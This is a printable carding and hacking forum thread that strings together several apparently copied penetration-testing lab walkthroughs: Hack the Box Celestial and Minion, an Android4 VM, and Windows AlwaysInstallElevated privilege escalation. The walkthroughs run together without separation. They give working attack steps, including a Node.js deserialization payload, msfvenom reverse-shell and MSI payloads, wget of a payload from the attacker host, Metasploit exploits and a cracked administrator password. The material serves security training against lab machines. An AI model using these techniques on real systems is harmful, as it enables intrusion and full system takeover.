[Guide] How to Hack the Box: Celestial Walkthrough

[Guide] How to Hack the Box: Celestial Walkthrough - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Hack the Box: Celestial Walkthrough (/Thread-Guide-How-to-Hack-the-Box-Celestial-Walkthrough)

[Guide] How to Hack the Box: Celestial Walkthrough - NINZA - 05-14-2020

Hello friends!! Today we are going to solve another CTF challenge “Celestial” which is lab presented by Hack the Box and is available online for those who want to increase their skill in penetration testing and black box testing. Celestial is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
WalkThrough
Since these labs are online available therefore they have static IP. The IP of Celestial is 10.10.10.85
Let’s start off with scanning the network to find our target.
nmap -A 10.10.10.85
1
nmap -A 10.10.10.85
[Image: 1.png?w=687&ssl=1]

The NMAP output shows us that the port TCP 3000 is opened on the target machine Let’s try to access the website on a Non-standard HTTP port (3000) as follows :
Browse to

[To see content please register here]

and we will be greeted with the following page
[Image: 2.png?w=687&ssl=1]

As we didn’t find any other clue to move forward after navigating through many other possibilities; we quickly moved further to understand the website request via Burpsuite tool. Therefore, upon capturing the webpage’s GET request, we noticed the profile= Cookie parameter (highlighted in red)
[Image: 3.png?w=687&ssl=1]

Copy the entire value inside the profile= cookie parameter and paste it in the Burpsuite decoder.
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
1
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
On decoding the same we will get the output in base64 format. Once again, we will decode the base64 format output and would be able to see the results in a clear text format. The output displays the username and other details of a specific user This is an indication that we can insert our code in the cookie profile parameter value to get the desired results.
[Image: 4.png?w=687&ssl=1]

On further investigation, we came to know that this is a Node JS deserialization bug for the purpose of remote code execution. Further details of the same are mentioned in the below website.If we read the entire content of the website, we will observe that there is a function which contains a particular string comprising of multiple numeric values.

[To see content please register here]

Copy the entire numeric content (after String.fromCharCode) starting from 10 till 10 . Navigate to the URL

[To see content please register here]

and convert Decimal to ASCII as shown in the screenshot below
[Image: 6.png?w=687&ssl=1]

Now let’s change the contents of the ASCII text and replace the HOST and PORT parameter details with the HOST=10.10.14.3 and PORT= 4444, where 10.10.14.3 is our Kali machine IP. Once done, we will get the equivalent output in the Decimal format as shown below
[Image: 7.png?w=687&ssl=1]

Copy the decimal output from the above screenshot starting from 118 and ending with 10, with each number, separated by a comma.
Note: As we can see that the decimal output in the above output is separated by a space, hence we need to either do it manually OR need to refer to the following Python script method so as to include the comma values, before proceeding further

[To see content please register here]

Once the decimal output (separated by comma) is ready, we need to now paste it inside the code shown below (replace the value with decimal output) and perform the Base64 encode of the same
echo {"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(value) )}()"} | base64 -w0
1
echo {"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(value) )}()"} | base64 -w0
[Image: 9.png?w=687&ssl=1]

Copy the encoded output above and paste it in front of the Profile= parameter of the Burpsuite as shown in the image below.
[Image: 10.png?w=687&ssl=1]

Once done we need to click on the Forward option, in Burpsuite Intercept tab
Note: Before forwarding the modified content in Burpsuite, we should set up the netcat listener in Kali machine and keep it ready.
nc -lvp 4444
1
nc -lvp 4444
In order to access proper TTY shell, we had imported python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Hurray !! We got into the reverse shell of the target machine
Let’s have a quick look at the contents
ls
1
ls
We navigated to many folders, however, found interesting stuff in the Documents folder
cd Documents
1
cd Documents
Here we can see that there is a user.txt file, lets read it contents
cat user.txt
1
cat user.txt
Finally, we got our first flag i.e output of the user.txt file
[Image: 11.png?w=687&ssl=1]

Now upon further navigation, we also opened the script.py file because of our curiosity to examine the contents of the same. If we do cat script.py, the output displays as print “Script is running”
cat script.py
1
cat script.py
print “Script is running..”
Note: This is an indication that we may need to examine the log files to see which script is running and if it is running on a periodic basis
The best step to move forward is to examine the contents of the log directory in var
cd /var/log
1
cd /var/log
Let’s see the files listed over here
ls
1
ls
As we can see that there are multiple syslog files being generated in this folder. The old logs are being zipped and numbered accordingly. The latest logs are always stored in the log file named syslog .So we will open the contents of the syslog file and try to find out if there is something interesting going on.
cat syslog
1
cat syslog
We will notice that there is a cronjob running every 5 minutes, which is copying the output of script.py file (in the home/sun/Documents folder) to the output.txt file
[Image: 12.png?w=687&ssl=1]

Now we can try to put our own content in the script.py file. For this let’s generate a Reverse shell with the following command
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport=1234 R
1
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport=1234 R
Copy the contents of msfvenom output and save it on Kali Desktop named as script.py, which will be further used in the subsequent steps
[Image: 16.png?w=687&ssl=1]

Now run the web server on the Kali machine
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80

Lets read the contents of the script.py.The output displays as print “Script is running..”
cat script.py
1
cat script.py
Let’s move this original python script (script.py) by renaming it to script.py.original as shown below
mv script.py script.py.original
1
mv script.py script.py.original
Download our newly created script.py from the Kali machine Desktop
wget

[To see content please register here]

1
wget

[To see content please register here]

Open a netcat reverse shell
nc -lvp 1234
1
nc -lvp 1234
In order to access proper TTY shell, we had imported python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Hurray!! We got into the root
Navigate to the root directory
cd /root
1
cd /root
Let’s see what content it has.
ls
1
ls
As we can see it contains 2 files root.txt and script.py. Lets open root.txt file
cat root.txt
1
cat root.txt
[Image: 20.png?w=687&ssl=1]

Wonderful!! We have gained access to both user.txt and root.txt files and hacked this box.

Hello everyone and welcome to yet another CTF challenge walkthrough. This time we’ll be putting our hands on Android4 which is made by Touhid Shaikh. You can find the link to download this vulnerable VM here (

[To see content please register here]

).
The level of this vulnerable VM, that I would rate: beginner.
Steps involved:

Port scanning and IP discovery.
Attacking port 8080 proxy using adb_server_exec
Connection to the device using ADB.
Shell grabbing.
Privilege escalation and reading congratulatory flag.

Let’s get started then!
First, we’ll grab the IP address using netdiscover utility present in Kali Linux.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

In my case, the IP address is 192.168.1.105
The second step is as usual as port scanning. In this scan, we’ll be using an all port aggressive scan using the most popular tool nmap.
nmap -p- -A 192.168.1.105
1
nmap -p- -A 192.168.1.105
[Image: 2.png?w=687&ssl=1]

From this, we established that there is some kind of web page related to the port 8080.
Without any delay, we opened the webpage but found nothing.
[Image: 3.png?w=687&ssl=1]

Anyone would establish that there is some kind of verbal tampering involved using the POST method. We tried but didn’t find anything useful.
After trying a few other methods (PHP CLI and Dropbear RCE) here is one method that we found the best for our cause.
[Image: 4.png?w=687&ssl=1]

Android Debug Bridge (ADB) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device. It is a client-server program that includes three components:

A client, which sends commands. The client runs on your development machine. You can invoke a client from a command-line terminal by issuing an adb command.
A daemon (adbd), which runs commands on a device. The daemon runs as a background process on each device.
A server, which manages communication between the client and the daemon. The server runs as a background process on your development machine.

When you start an adb client, the client first checks whether there is an adb server process already running. If there isn’t, it starts the server process
To start an ADB server we used Metasploit:
use exploit/android/adb/adb_server_exec
set RHOST 192.68.1.105
set LHOST 192.168.1.106
set LPORT 3333
exploit
1
2
3
4
5
use exploit/android/adb/adb_server_exec
set RHOST 192.68.1.105
set LHOST 192.168.1.106
set LPORT 3333
exploit
(It is quite possible that the local port won’t accept a connection. In such a case, we change the default port from 4444 to 3333s)
[Image: 5.png?w=687&ssl=1]

If you don’t have adb installed you can install it by sudo apt-get install adb
[Image: 6.png?w=687&ssl=1]

Once the status shows “Connecting to the device, ” on a new terminal window type the command:
adb connect 192.168.1.105:5555
adb shell
1
2
adb connect 192.168.1.105:5555
adb shell
In shell:
ls
[Image: 7.png?w=687&ssl=1]

to go to the default directory:
cd
su
1
2
cd
su
Voila! We got a root shell!
[Image: 8.png?w=687&ssl=1]

In /data directory we found a folder called “root”
cd /data
ls
1
2
cd /data
ls
The final step was reading the congratulatory flag:
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
[Image: 10.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Minion” which is available online for those who want to increase their skill in penetration testing and black box testing. Minion is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of Minion is 10.10.10.57 so let’s begin with nmap port enumeration.
nmap -sV -p- 10.10.10.57 -–open
1
nmap -sV -p- 10.10.10.57 -–open
From the given below image, you can observe that we find port 62696 is open on the target system.
[Image: 1.png?w=687&ssl=1]

As port 62696 is running IIS http service, we open the IP address in our browser on port 62696.
[Image: 4.png?w=687&ssl=1]

We don’t find anything on the webpage, so we run dirb to enumerate the directories. As the target machine is running Microsoft IIS server we try to find the .asp file.
dirb

[To see content please register here]

-X .asp
1
dirb

[To see content please register here]

-X .asp

Dirb scan gave us a link to a page called test.asp, we open the link and find a page that is asking for u as its parameter.
[Image: 6.png?w=687&ssl=1]

After enumerating this system, we find that this page is vulnerable to SSRF. So when we try to access localhost we find a link called system commands.
[Image: 7.png?w=687&ssl=1]

As we are not directly accessing the page, we take a look at the source code and find the link to the system command.
[Image: 8.png?w=687&ssl=1]

We open it using SSRF and find a form that can be used to execute our commands.
[Image: 9.png?w=687&ssl=1]

When we try to execute a command we are unable to. So we take a look at the source code of the page and find the parameter that is being used to pass the command we type.
[Image: 10.png?w=687&ssl=1]

After finding the parameter we use it pass our command and we find that we only get a response in terms of Exit Status. Exit Status = 1 for successful and Exit Status = 0 in case of errors.
[Image: 11.png?w=687&ssl=1]

Now when we try to get a reverse shell we are unable to, it is possible that TCP and UDP packets are blocked. So we ping ourselves using this RCE vulnerability to check if ICMP packet is allowed.
[Image: 12.png?w=687&ssl=1]

We set up tcpdump to capture the ICMP packets and find that ICMP packets are allowed.
tcpdump -i tun0 icmp
1
tcpdump -i tun0 icmp
[Image: 13.png?w=687&ssl=1]

We create an ICMP reverse shell because few characters are blacklisted on the server.
[Image: 14.png?w=687&ssl=1]

We run it on the vulnerable page that we found earlier.
[Image: 15.png?w=687&ssl=1]

We create our custom reverse shell (you can download

[To see content please register here]

), we run it and after a few moments, we get a reverse shell. We take look at the c:\ directory and find a directory called “sysadmscripts”.
[Image: 25.png?w=687&ssl=1]

We go to the root directory and find two files called “c.ps1” and “del_logs.bat”.
[Image: 26.png?w=687&ssl=1]

We take a look at the content of the file and find that c.ps1 writes something inside a file that is passed as its argument. In “del_logs.bat” file it creates logs inside log.txt inside c:\windows\temp\ directory and finds that the time is changed every 5 minutes.
[Image: 27.png?w=687&ssl=1]

Now we check the permissions for both of these files with icacls and find that we have full permissions over c.ps1.
icacls c.ps1
1
icacls c.ps1
[Image: 28.png?w=687&ssl=1]

Now we change the original c.ps1 with our file so that we can try and get the user.txt and root.txt.
echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1
echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1
echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1
echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1
(Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1
copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak
copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1
1
2
3
4
5
6
7
echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1
echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1
echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1
echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1
(Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1
copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak
copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1
[Image: 29.png?w=687&ssl=1]

We wait for a few minutes for the PowerShell script to get executed and find that we were able to successfully able to extract “user.txt”. We open the file and find the first flag. We also zip file called “backup.zip”. Before looking in the zip backup file, we take a look at the content of “output.txt” and find that the file was in “c:\users\decoder.MINION\Desktop” directory.
[Image: 30.png?w=687&ssl=1]

Enumerating further backup.zip file we extract PASS from alternate data stream files.
get-content c:\temp\backup.zip -str pass
1
get-content c:\temp\backup.zip -str pass
[Image: 31.png?w=687&ssl=1]

We decode the NTLM hash using hashkiller.co.uk and find the password to be 1234test.
[Image: 32.png?w=687&ssl=1]

We mount the C$-Share using the credentials we found by cracking the hash.
net use * \\minion\c$ /user:minion\administrator 1234test
1
net use * \\minion\c$ /user:minion\administrator 1234test
[Image: 33.png?w=687&ssl=1]

As we can see the hard disk got mounted as “Drive Z:”. We go to Z: drive and inside “z:\User\Administrator\Desktop”. We find two files called root.txt and root.exe when taking a look at the content of “root.txt” it tells us to run “root.exe”. We try to run root.exe but are unable to get a flag because we are not Administrator yet.
[Image: 34.png?w=687&ssl=1]

Let’s set users as administrator using $user and giving the password using $pass and then convert the string using convert-to-securestring-asplaintext-force using the PSCredetail we created the new object that further will help us to create a new session which will run the commands as administrator. Lastly, we will run the root.exe using the invoke-command. And as you can see in the given screenshot we have decoded successfully the securestring.
$user = "minion\administrator"
$pass = "1234test” | convert to-securestring – asplaintext –force
$cred = new-object –typename System.Managemet.Automation.PSCredential –argumentlist $user, $pass
$session = new-pssession minion –Credential $cred
invoke-command –Session $session {cd C:\users\administrator\desktop; .\root.exe}
1
2
3
4
5
$user = "minion\administrator"
$pass = "1234test” | convert to-securestring – asplaintext –force
$cred = new-object –typename System.Managemet.Automation.PSCredential –argumentlist $user, $pass
$session = new-pssession minion –Credential $cred
invoke-command –Session $session {cd C:\users\administrator\desktop; .\root.exe}
[Image: 35.png?w=687&ssl=1]

Hello Friends!! In this article, we are demonstrating the Windows privilege escalation method via the method of AlwaysInstallElevated policy. In penetration testing, when we spawn command shell as a local user, it is possible to exploit the vulnerable features (or configuration settings) of Windows Group policy, to further elevate them to admin privileges and gain the administrator access
Table of Content

Introduction
Lab setup
Spawn command shell as local user
Escalate privilege manually via .msi payload (MSfvenom)
Escalated privilege via Adding user Administrators Group (Msfvenom)
Escalate privilege via Post exploit (Metasploit)

Introduction
AlwaysInstallElevated Policy
As we all are aware that Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. These MSI packages can be installed with elevated privileges for non-admin users
For this purpose, the AlwaysInstallElevated policy feature is used to install an MSI package file with elevated (system) privileges. This policy is enabled in the Local Group Policy editor; directs the Windows Installer engine to use elevated permissions when it installs any program on the system. This method can make a machine vulnerable posing a high-security risk because a non-administrator user can run installations with elevated privileges and access many secure locations on the computer.
Caution Note: This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting. Hence this should be used for the lab purposes only (and not in a Production environment)
Lab set-up
Victim’s Machine: Windows 7
Attacker’s machine: Kali Linux
To make this policy effective [i.e install a package with elevated (system) privileges], we need to ensure that victim machine is deliberately made vulnerable by enabling the AlwaysInstalledElevated Policy in the Computer Configuration and User Configuration folders of the Local Group Policy editor
For the Windows configuration
Type gpedit.msc in the Run dialog box of the Start Menu in the Windows 7 machine and the Local Group Policy editor window prompt will open

Change the settings of AlwaysInstalledElevated policy
For the Computer configuration

Navigate to the below path in the Windows machine
Computer Configuration\Administrative Templates\Windows Components\Windows Installer
Enable the Always install with elevated privileges
[Image: 1.png?w=687]

For the User configuration
Navigate to the below path in the Windows machine
User Configuration\Administrative Templates\Windows Components\Windows Installer
Enable the Always install with elevated privileges
[Image: 2.png?w=687]

This completes the lab set up on the Windows machine.N ow let’s proceed to our actual task.
Spawning Victim’s Machine
We need to compromise the Windows victim machine at least once to gain the meterpreter session. As you can observe that we already have a victim’s meterpreter session. Let’s open the msfconsole and check the existing current sessions
msfconsole
sessions
1
2
msfconsole
sessions
As we can see that there exists a session already with ID 1. Now let’s open the session 1 and extract the user details
meterpreter > sessions 1
meterpreter >getuid
1
2
meterpreter > sessions 1
meterpreter >getuid
As we can see that we are logged into this session with the username as raj.
Note: The existing user “raj” already exists in the Windows 7 victim machine and is a non-admin user
[Image: 3.png?w=687]

Now let’s open the command shell of the target machine
meterpreter >shell
1
meterpreter >shell
Upon executing the shell command, we would land into the user’s Downloads folder C:\Users\raj\Downloads
We will now run the registry query command on this command prompt so as to verify whether the Windows installer have elevated privileges or not, as per our settings configured earlier
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
1
2
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
As we can see from the output that the registry named “AlwaysInstallElevated” exists with a dword (REG_WORD) value of 0x1, which means that the AlwaysInstallElevated policy is enabled.
[Image: 4.png?w=687]

Privilege Escalation via .msi payload (1st Method)
Now let’s open a new terminal in Kali machine and generate an MSI Package file (1.msi ) utilizing the Windows Meterpreter payload as follows
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4567 –f msi > /root/Desktop/1.msi
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4567 –f msi > /root/Desktop/1.msi
[Image: 5.png?w=687]

On the existing Meterpreter session of the user, let’s upload our MSI file named 1.msi to the target machine as follows. Once it is uploaded successfully, we will then jump to the shell
upload /root/Desktop/1.msi .
1
upload /root/Desktop/1.msi .
Note: Before executing the MSI Package file, let’s start an MSF handler in another terminal window
(Refer to the commands for same, after the below screenshot)
Execute the MSI package file on the Windows command prompt
msiexec /quiet /qn /i 1.msi
1
msiexec /quiet /qn /i 1.msi
[Image: 6.png?w=687]

/quiet = Suppress any messages to the user during installation
/qn = No GUI
/i = Regular (vs. administrative) installation
In a parallel window, we opened a new handler before executing the .msi file
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.120
msf exploit(handler) > set lport 4567
msf exploit(handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.120
msf exploit(handler) > set lport 4567
msf exploit(handler) > exploit
Finally, we got the meterpreter session using this exploit!! Let’s have further look at the details of the user privileges we gained on this system
meterpreter > getsystem
meterpreter > getuid
1
2
meterpreter > getsystem
meterpreter > getuid
Fantastic!! We have rooted in the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system.
[Image: 7.png?w=687]

Adding user in Administrators Group (2nd Method)
In this method, we will choose a non-admin user from the existing list of users in the target machine and then try to elevate his privileges. Here we will send the relevant Windows commands (to the target machine), utilizing the windows/exec payload of the Metasploit.
First, let us check the details of existing users in the victim machine. Here we can select any user, lets; select a user named “raaz” who is a non-admin user
net user
1
net user
The verification that the user name “raaz” is in the Local Users group can be done by running the following in the command prompt
net user raaz
1
net user raaz
[Image: 8.png?w=687]

Generate an MSI package (2.msi ) with the windows/exec payload, that sends a command instructing to add local admin privileges for the user “raaz”, to the target machine.
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f msi > /root/Desktop/2.msi
1
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f msi > /root/Desktop/2.msi
[Image: 9.png?w=687]

Now let’s upload the MSI file 2.msi to the target machine as follows
Note: Before uploading the MSI file, press Ctrl+Z to exit out of the victim machine’s command shell
In the meterpreter shell type
upload /root/Desktop/2.msi .
1
upload /root/Desktop/2.msi .
Once the MSI file is uploaded successfully, we will take the command shell and execute the installer file
shell
msiexec /quiet /qn /i 2.msi
1
2
shell
msiexec /quiet /qn /i 2.msi
The verification that the user name “raaz” has been added into the local administrator group can be done by running the following in the command prompt
net user raaz
1
net user raaz
As we can see from the screenshot the user raaz is now a member of Local Administrators group
Awesome !! We have got the privileges of the non-admin user escalated via using the manual exploit.
[Image: 10.png?w=687]

Privilege Escalation via Metasploit Post Exploit (3rd Method)
In order to perform the Privilege escalation abusing the AlwaysInstalledElevated policy, we can also utilize the inbuilt exploit of the Metasploit module as follows :
Now let’s use this exploit
use exploit/windows/local/always_install_elevated
msf exploit(always_install_elevated) > set session 1
msf exploit(always_install_elevated) > exploit
1
2
3
use exploit/windows/local/always_install_elevated
msf exploit(always_install_elevated) > set session 1
msf exploit(always_install_elevated) > exploit
We got the meterpreter session using the in-built exploit as well !! Now let’s have further look at the details of the user privileges
meterpreter > getsystem
meterpreter > getuid
1
2
meterpreter > getsystem
meterpreter > getuid
Hurrah!! We have rooted in the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system
Note: We have shown one of the methodologies to elevate the privileges.T his lab can be performed in multiple ways, as there are many other methods of performing the Windows privilege escalation.
[Image: 11.png?w=687]